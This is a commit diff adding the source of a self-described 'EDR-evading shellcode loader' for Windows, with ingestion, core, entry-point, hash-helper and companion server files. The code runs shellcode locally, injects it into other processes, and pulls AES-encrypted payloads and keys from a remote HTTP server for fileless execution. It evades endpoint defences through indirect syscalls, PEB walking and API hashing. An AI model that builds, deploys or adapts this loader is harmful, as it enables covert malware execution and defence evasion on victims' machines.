Log::Dbg("ExecuteLocal returned %s — freeing region", ok ? "OK" : "FAIL");
|
||||||
|
SIZE_T freeSize = shellcode.size();
|
||||||
|
PVOID freeBase = execMem;
|
||||||
|
NTSTATUS st = sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &freeSize, MEM_RELEASE);
|
||||||
|
Log::NtStatus("NtFreeVirtualMemory", st);
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Dbg("VirtualAlloc path failed — fallback NtCreateSection/MapView");
|
||||||
|
SectionMap::MappedRegion region{};
|
||||||
|
if (!SectionMap::StageLocal(sc, shellcode, region)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Sys("local RX=%p technique=NtMapViewOfSection W^X size=%zu",
|
||||||
|
region.localView, static_cast<size_t>(region.viewSize));
|
||||||
|
const bool ok = SectionMap::ExecuteLocal(sc, region.localView);
|
||||||
|
Log::Dbg("cleanup section map (ok=%d)", ok ? 1 : 0);
|
||||||
|
SectionMap::Cleanup(sc, region, nullptr);
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace Ingestion
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#include "../lib/syscall/tartarus_gate.hpp"
|
||||||
|
|
||||||
|
namespace Ingestion {
|
||||||
|
|
||||||
|
struct RemoteTarget {
|
||||||
|
HANDLE hProcess = nullptr;
|
||||||
|
HANDLE hThread = nullptr;
|
||||||
|
DWORD pid = 0;
|
||||||
|
bool spawned = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Local: indirect syscall alloc RW->RX + hash-resolved CreateThread.
|
||||||
|
bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector<BYTE>& shellcode);
|
||||||
|
|
||||||
|
// Resolve PID by name (basename match) or numeric PID. Spawn headless if name missing.
|
||||||
|
bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out);
|
||||||
|
|
||||||
|
void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target);
|
||||||
|
|
||||||
|
// Remote: NtAllocateVirtualMemory + NtWriteVirtualMemory + NtProtectVirtualMemory
|
||||||
|
// in target via Tartarus Gate + CreateRemoteThread (API hash).
|
||||||
|
bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector<BYTE>& shellcode);
|
||||||
|
|
||||||
|
} // namespace Ingestion
|
||||||
@@ -0,0 +1,269 @@
|
|||||||
|
#include "loader_core.hpp"
|
||||||
|
#include "ingestion.hpp"
|
||||||
|
|
||||||
|
#include "../lib/crypto/aes_crypto.hpp"
|
||||||
|
#include "../lib/net/http_transport.hpp"
|
||||||
|
#include "../lib/resolve/api_resolver.hpp"
|
||||||
|
#include "../lib/common/log.hpp"
|
||||||
|
|
||||||
|
#include <cstdint>
|
||||||
|
#include <fstream>
|
||||||
|
#include <iostream>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
namespace LoaderCore {
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
TartarusGate::SyscallTable g_sc;
|
||||||
|
}
|
||||||
|
|
||||||
|
TartarusGate::SyscallTable& GetSyscalls() {
|
||||||
|
return g_sc;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool Initialize() {
|
||||||
|
Log::Banner("Loader Init");
|
||||||
|
Log::Info("mode=loader — Tartarus Gate + PEB module resolve");
|
||||||
|
if (!TartarusGate::Initialize(g_sc)) {
|
||||||
|
Log::Err("Syscall init failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Sys("PEB modules: ntdll=%p kernel32=%p bcrypt=%p ws2=%p",
|
||||||
|
ApiResolver::GetNtdll(), ApiResolver::GetKernel32(),
|
||||||
|
ApiResolver::GetBcrypt(), ApiResolver::GetWs2_32());
|
||||||
|
Log::Dbg("syscall table ready (initialized=%d)", g_sc.initialized ? 1 : 0);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Shutdown() {
|
||||||
|
Log::Dbg("Shutdown: cleaning Tartarus stubs");
|
||||||
|
TartarusGate::CleanupStubs();
|
||||||
|
g_sc = {};
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool ReadFileToBuffer(const std::string& path, std::vector<BYTE>& out) {
|
||||||
|
Log::Dbg("ReadFile: path=%s", path.c_str());
|
||||||
|
std::ifstream f(path, std::ios::binary | std::ios::ate);
|
||||||
|
if (!f.is_open()) {
|
||||||
|
Log::Dbg("ReadFile: open failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
out.resize(static_cast<size_t>(f.tellg()));
|
||||||
|
f.seekg(0);
|
||||||
|
f.read(reinterpret_cast<char*>(out.data()), out.size());
|
||||||
|
Log::Info("ReadFile: %zu bytes from %s", out.size(), path.c_str());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int DispatchShellcode(const Cli::Options& opt, std::vector<BYTE>& shellcode) {
|
||||||
|
Log::Banner("Dispatch Shellcode");
|
||||||
|
Log::Info("payload size=%zu remote=%s target=%s",
|
||||||
|
shellcode.size(),
|
||||||
|
opt.remoteIngestion ? "yes" : "no",
|
||||||
|
opt.processTarget.empty() ? "(local)" : opt.processTarget.c_str());
|
||||||
|
Log::HexPreview("payload", shellcode.data(), shellcode.size());
|
||||||
|
|
||||||
|
if (opt.remoteIngestion) {
|
||||||
|
Log::Banner("Remote Ingestion");
|
||||||
|
Log::Info("target=%s bytes=%zu", opt.processTarget.c_str(), shellcode.size());
|
||||||
|
|
||||||
|
Ingestion::RemoteTarget target{};
|
||||||
|
if (!Ingestion::AcquireTarget(g_sc, opt.processTarget, target)) {
|
||||||
|
Log::Err("Target acquire failed: %s", opt.processTarget.c_str());
|
||||||
|
return 7;
|
||||||
|
}
|
||||||
|
Log::Sys("target acquired: PID=%lu hProcess=%p hThread=%p spawned=%d",
|
||||||
|
target.pid, target.hProcess, target.hThread, target.spawned ? 1 : 0);
|
||||||
|
|
||||||
|
if (!Ingestion::RunRemote(g_sc, target, shellcode)) {
|
||||||
|
Ingestion::ReleaseTarget(g_sc, target);
|
||||||
|
Log::Err("Remote injection failed (PID %lu)", target.pid);
|
||||||
|
return 9;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ingestion::ReleaseTarget(g_sc, target);
|
||||||
|
Log::Dbg("target handles closed");
|
||||||
|
Log::Ok("Remote done — PID %lu (%zu bytes)", target.pid, shellcode.size());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Banner("Local Ingestion");
|
||||||
|
if (!Ingestion::RunLocal(g_sc, shellcode)) {
|
||||||
|
Log::Err("Local execution failed");
|
||||||
|
return 3;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Ok("Local done — %zu bytes", shellcode.size());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int RunNormal(const Cli::Options& opt) {
|
||||||
|
if (opt.inputPath == "__selftest__") {
|
||||||
|
Log::Banner("Self-Test");
|
||||||
|
Log::Info("checking PEB modules + AES roundtrip");
|
||||||
|
if (!ApiResolver::GetNtdll() || !ApiResolver::GetBcrypt()) {
|
||||||
|
Log::Err("PEB module resolve failed");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
Log::Sys("ntdll=%p bcrypt=%p", ApiResolver::GetNtdll(), ApiResolver::GetBcrypt());
|
||||||
|
std::vector<BYTE> sample = { 0x90, 0x90, 0xC3 };
|
||||||
|
AesCrypto::KeyMaterial km{};
|
||||||
|
std::vector<BYTE> enc, dec;
|
||||||
|
if (!AesCrypto::GenerateKeyMaterial(km) || !AesCrypto::Encrypt(sample, km, enc) ||
|
||||||
|
!AesCrypto::Decrypt(enc, km, dec)) {
|
||||||
|
Log::Err("AES roundtrip failed");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
Log::Dbg("AES roundtrip ok: plain=%zu enc=%zu dec=%zu", sample.size(), enc.size(), dec.size());
|
||||||
|
Log::Ok("Self-test Just for Fun :) (PEB + Tartarus + AES) -> Checks PEB walk -> Dynamic Resolution -> Retrive SSH -> Create STUB , Get Gadget");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Banner("RunNormal");
|
||||||
|
Log::Info("input=%s remote=%s", opt.inputPath.c_str(),
|
||||||
|
opt.remoteIngestion ? opt.processTarget.c_str() : "no");
|
||||||
|
|
||||||
|
std::vector<BYTE> shellcode;
|
||||||
|
if (!ReadFileToBuffer(opt.inputPath, shellcode)) {
|
||||||
|
Log::Err("Cannot read file");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
return DispatchShellcode(opt, shellcode);
|
||||||
|
}
|
||||||
|
|
||||||
|
int RunEncrypt(const Cli::Options& opt) {
|
||||||
|
Log::Banner("RunEncrypt");
|
||||||
|
Log::Info("AES encrypt file=%s", opt.inputPath.c_str());
|
||||||
|
std::wstring wpath(opt.inputPath.begin(), opt.inputPath.end());
|
||||||
|
std::wstring encPath, keyPath;
|
||||||
|
|
||||||
|
if (!AesCrypto::EncryptFileToDisk(wpath, encPath, keyPath)) {
|
||||||
|
Log::Err("AES encrypt failed");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Ok("Encrypted — use .enc + .key or --server --enc AES");
|
||||||
|
Log::Info("output: .enc + .key written");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int RunFileless(const Cli::Options& opt) {
|
||||||
|
HttpTransport::Endpoint ep{};
|
||||||
|
if (!HttpTransport::ParseSource(opt.sourceHost, ep)) {
|
||||||
|
Log::Err("Bad --source");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Banner("Fileless Client");
|
||||||
|
Log::Info("source host=%s port=%u aes=%s remote=%s",
|
||||||
|
ep.host.c_str(), ep.port,
|
||||||
|
opt.useAes ? "yes" : "no",
|
||||||
|
opt.remoteIngestion ? opt.processTarget.c_str() : "no");
|
||||||
|
Log::Info("GET http://%s:%u/api/v1/payload%s", ep.host.c_str(), ep.port,
|
||||||
|
opt.useAes ? " + /api/v1/key" : "");
|
||||||
|
|
||||||
|
std::vector<std::uint8_t> payload;
|
||||||
|
if (!HttpTransport::FetchPayload(ep, payload) || payload.empty()) {
|
||||||
|
Log::Err("Payload fetch failed");
|
||||||
|
return 3;
|
||||||
|
}
|
||||||
|
Log::Info("payload fetched: %zu bytes", payload.size());
|
||||||
|
Log::HexPreview("http payload", payload.data(), payload.size());
|
||||||
|
|
||||||
|
std::vector<BYTE> shellcode;
|
||||||
|
|
||||||
|
if (opt.useAes) {
|
||||||
|
Log::Banner("Fileless AES Decrypt");
|
||||||
|
std::vector<std::uint8_t> keyBlob;
|
||||||
|
if (!HttpTransport::FetchKey(ep, keyBlob) || keyBlob.empty()) {
|
||||||
|
Log::Err("Key fetch failed");
|
||||||
|
return 4;
|
||||||
|
}
|
||||||
|
Log::Info("key blob fetched: %zu bytes", keyBlob.size());
|
||||||
|
|
||||||
|
AesCrypto::KeyMaterial km{};
|
||||||
|
if (!AesCrypto::UnpackKeyMaterial(keyBlob, km)) {
|
||||||
|
Log::Err("Key unpack failed");
|
||||||
|
return 5;
|
||||||
|
}
|
||||||
|
Log::Dbg("key material: key=%zu iv=%zu", km.key.size(), km.iv.size());
|
||||||
|
|
||||||
|
if (!AesCrypto::Decrypt(payload, km, shellcode)) {
|
||||||
|
Log::Err("Decrypt failed");
|
||||||
|
return 6;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Info("AES decrypt OK: cipher=%zu plain=%zu", payload.size(), shellcode.size());
|
||||||
|
} else {
|
||||||
|
shellcode.assign(payload.begin(), payload.end());
|
||||||
|
Log::Dbg("plain payload -> shellcode (%zu bytes)", shellcode.size());
|
||||||
|
}
|
||||||
|
|
||||||
|
return DispatchShellcode(opt, shellcode);
|
||||||
|
}
|
||||||
|
|
||||||
|
int RunServer(const Cli::Options& opt) {
|
||||||
|
std::vector<std::uint8_t> payload;
|
||||||
|
std::vector<std::uint8_t> keyBlob;
|
||||||
|
|
||||||
|
Log::SrvBanner("Server Prep");
|
||||||
|
Log::Srv("input=%s aes=%s port=%u",
|
||||||
|
opt.inputPath.empty() ? "(payload.enc fallback)" : opt.inputPath.c_str(),
|
||||||
|
opt.useAes ? "yes" : "no",
|
||||||
|
opt.serverPort);
|
||||||
|
|
||||||
|
if (!opt.inputPath.empty()) {
|
||||||
|
std::vector<BYTE> plain;
|
||||||
|
if (!ReadFileToBuffer(opt.inputPath, plain)) {
|
||||||
|
// ReadFile uses loader channel; mirror for server verbose
|
||||||
|
Log::Srv("failed to read server file: %s", opt.inputPath.c_str());
|
||||||
|
Log::Err("Cannot read server file -> Check file location ;( )");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
Log::Srv("loaded file: %zu bytes from %s", plain.size(), opt.inputPath.c_str());
|
||||||
|
|
||||||
|
if (opt.useAes) {
|
||||||
|
AesCrypto::KeyMaterial km{};
|
||||||
|
if (!AesCrypto::GenerateKeyMaterial(km) ||
|
||||||
|
!AesCrypto::Encrypt(plain, km, payload)) {
|
||||||
|
Log::Err("Server AES prep failed");
|
||||||
|
return 4;
|
||||||
|
}
|
||||||
|
keyBlob = AesCrypto::PackKeyMaterial(km);
|
||||||
|
Log::Srv("AES prep: plain=%zu cipher=%zu keyBlob=%zu",
|
||||||
|
plain.size(), payload.size(), keyBlob.size());
|
||||||
|
Log::Ok("Server AES mode — port %u", opt.serverPort);
|
||||||
|
} else {
|
||||||
|
payload.assign(plain.begin(), plain.end());
|
||||||
|
Log::Srv("plain mode: serving %zu bytes", payload.size());
|
||||||
|
Log::Ok("Server plain mode — port %u", opt.serverPort);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
std::ifstream encFile(L"payload.enc", std::ios::binary | std::ios::ate);
|
||||||
|
if (!encFile.is_open()) {
|
||||||
|
Log::Err("No file — use: loader.exe --server <file.bin>");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
payload.resize(static_cast<size_t>(encFile.tellg()));
|
||||||
|
encFile.seekg(0);
|
||||||
|
encFile.read(reinterpret_cast<char*>(payload.data()), payload.size());
|
||||||
|
std::ifstream keyFile(L"payload.key", std::ios::binary | std::ios::ate);
|
||||||
|
if (keyFile.is_open()) {
|
||||||
|
keyBlob.resize(static_cast<size_t>(keyFile.tellg()));
|
||||||
|
keyFile.seekg(0);
|
||||||
|
keyFile.read(reinterpret_cast<char*>(keyBlob.data()), keyBlob.size());
|
||||||
|
}
|
||||||
|
Log::Srv("fallback files: payload.enc=%zu payload.key=%zu",
|
||||||
|
payload.size(), keyBlob.size());
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::SrvBanner("Fileless Server");
|
||||||
|
if (!HttpTransport::RunServerMemory(opt.serverPort, payload, keyBlob, opt.server_verbose)) {
|
||||||
|
Log::Err("Server bind failed");
|
||||||
|
return 5;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace LoaderCore
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "cli.hpp"
|
||||||
|
#include "../lib/syscall/tartarus_gate.hpp"
|
||||||
|
|
||||||
|
namespace LoaderCore {
|
||||||
|
|
||||||
|
// Global syscall table — initialized once per process.
|
||||||
|
TartarusGate::SyscallTable& GetSyscalls();
|
||||||
|
|
||||||
|
bool Initialize();
|
||||||
|
void Shutdown();
|
||||||
|
|
||||||
|
// Mode handlers
|
||||||
|
int RunNormal(const Cli::Options& opt);
|
||||||
|
int RunEncrypt(const Cli::Options& opt);
|
||||||
|
int RunFileless(const Cli::Options& opt);
|
||||||
|
int RunServer(const Cli::Options& opt);
|
||||||
|
|
||||||
|
} // namespace LoaderCore
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
// loader v2.0 — modular EDR-evading shellcode loader
|
||||||
|
// lib: Manual PE parser, API hashing, Tartarus Gate indirect syscalls,
|
||||||
|
// section mapping, AES crypto, HTTP fileless transport
|
||||||
|
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#define NOMINMAX
|
||||||
|
#define _CRT_SECURE_NO_WARNINGS
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include <windows.h>
|
||||||
|
#include "cli.hpp"
|
||||||
|
#include "loader_core.hpp"
|
||||||
|
#include "../lib/common/log.hpp"
|
||||||
|
|
||||||
|
int main(int argc, char* argv[]) {
|
||||||
|
SetConsoleOutputCP(CP_UTF8);
|
||||||
|
|
||||||
|
const Cli::Options opt = Cli::Parse(argc, argv);
|
||||||
|
|
||||||
|
// Separate channels: loader verbose dumps syscalls/injection; server verbose dumps HTTP only.
|
||||||
|
if (opt.mode == Cli::Mode::Server) {
|
||||||
|
Log::SetVerbose(false);
|
||||||
|
Log::SetServerVerbose(opt.server_verbose);
|
||||||
|
} else {
|
||||||
|
Log::SetVerbose(opt.verbose);
|
||||||
|
Log::SetServerVerbose(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (opt.mode == Cli::Mode::Help) {
|
||||||
|
Cli::PrintUsage();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (opt.mode == Cli::Mode::Banner) {
|
||||||
|
Cli::PrintBanner();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Server does not need Tartarus/syscall table; skip noisy init path.
|
||||||
|
if (opt.mode != Cli::Mode::Server) {
|
||||||
|
if (!LoaderCore::Initialize()) {
|
||||||
|
Log::Err("Syscall init failed");
|
||||||
|
return 10;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int rc = 0;
|
||||||
|
switch (opt.mode) {
|
||||||
|
case Cli::Mode::Normal:
|
||||||
|
rc = LoaderCore::RunNormal(opt);
|
||||||
|
break;
|
||||||
|
case Cli::Mode::Encrypt:
|
||||||
|
rc = LoaderCore::RunEncrypt(opt);
|
||||||
|
break;
|
||||||
|
case Cli::Mode::Fileless:
|
||||||
|
rc = LoaderCore::RunFileless(opt);
|
||||||
|
break;
|
||||||
|
case Cli::Mode::Server:
|
||||||
|
rc = LoaderCore::RunServer(opt);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
Cli::PrintUsage();
|
||||||
|
rc = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
LoaderCore::Shutdown();
|
||||||
|
return rc;
|
||||||
|
}
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Linux fileless payload server (companion to loader.exe --server on Windows)
|
||||||
|
# Usage: ./server.sh [--port 8080] [--payload file.enc] [--key file.key]
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
PORT=8080
|
||||||
|
PAYLOAD="payload.enc"
|
||||||
|
KEY="payload.key"
|
||||||
|
|
||||||
|
while [[ $# -gt 0 ]]; do
|
||||||
|
case "$1" in
|
||||||
|
--port) PORT="$2"; shift 2 ;;
|
||||||
|
--payload) PAYLOAD="$2"; shift 2 ;;
|
||||||
|
--key) KEY="$2"; shift 2 ;;
|
||||||
|
--server) shift ;;
|
||||||
|
*) echo "Unknown arg: $1"; exit 1 ;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
if [[ ! -f "$PAYLOAD" ]]; then
|
||||||
|
echo "[!] Missing payload file: $PAYLOAD"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "[*] Linux fileless server on port $PORT"
|
||||||
|
echo "[*] Endpoints: /api/v1/payload /api/v1/key /api/v1/health"
|
||||||
|
|
||||||
|
python3 - "$PORT" "$PAYLOAD" "$KEY" <<'PY'
|
||||||
|
import sys, os
|
||||||
|
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||||
|
|
||||||
|
port = int(sys.argv[1])
|
||||||
|
payload_path = sys.argv[2]
|
||||||
|
key_path = sys.argv[3]
|
||||||
|
|
||||||
|
with open(payload_path, 'rb') as f:
|
||||||
|
payload = f.read()
|
||||||
|
key = b''
|
||||||
|
if os.path.isfile(key_path):
|
||||||
|
with open(key_path, 'rb') as f:
|
||||||
|
key = f.read()
|
||||||
|
|
||||||
|
class Handler(BaseHTTPRequestHandler):
|
||||||
|
def do_GET(self):
|
||||||
|
if self.path.startswith('/api/v1/payload'):
|
||||||
|
body = payload
|
||||||
|
elif self.path.startswith('/api/v1/key'):
|
||||||
|
body = key
|
||||||
|
elif self.path.startswith('/api/v1/health'):
|
||||||
|
body = b'OK'
|
||||||
|
else:
|
||||||
|
self.send_response(404)
|
||||||
|
self.end_headers()
|
||||||
|
return
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-Type', 'application/octet-stream')
|
||||||
|
self.send_header('Content-Length', str(len(body)))
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(body)
|
||||||
|
def log_message(self, fmt, *args):
|
||||||
|
sys.stderr.write("[server] " + (fmt % args) + "\n")
|
||||||
|
|
||||||
|
HTTPServer(('0.0.0.0', port), Handler).serve_forever()
|
||||||
|
PY
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
#include <iostream>
|
||||||
|
#include <iomanip>
|
||||||
|
#include "../lib/common/hashes.hpp"
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
const char* names[] = {
|
||||||
|
"ntdll.dll", "NtAllocateVirtualMemory", "NtProtectVirtualMemory",
|
||||||
|
"NtCreateSection", "NtMapViewOfSection", "NtCreateThreadEx",
|
||||||
|
"NtQuerySystemInformation", "NtOpenProcess", "NtClose"
|
||||||
|
};
|
||||||
|
for (auto* n : names) {
|
||||||
|
std::cout << n << " djb2=0x" << std::hex << Hashes::Djb2(n)
|
||||||
|
<< " lower=0x" << Hashes::Djb2Lower(n) << std::dec << "\n";
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user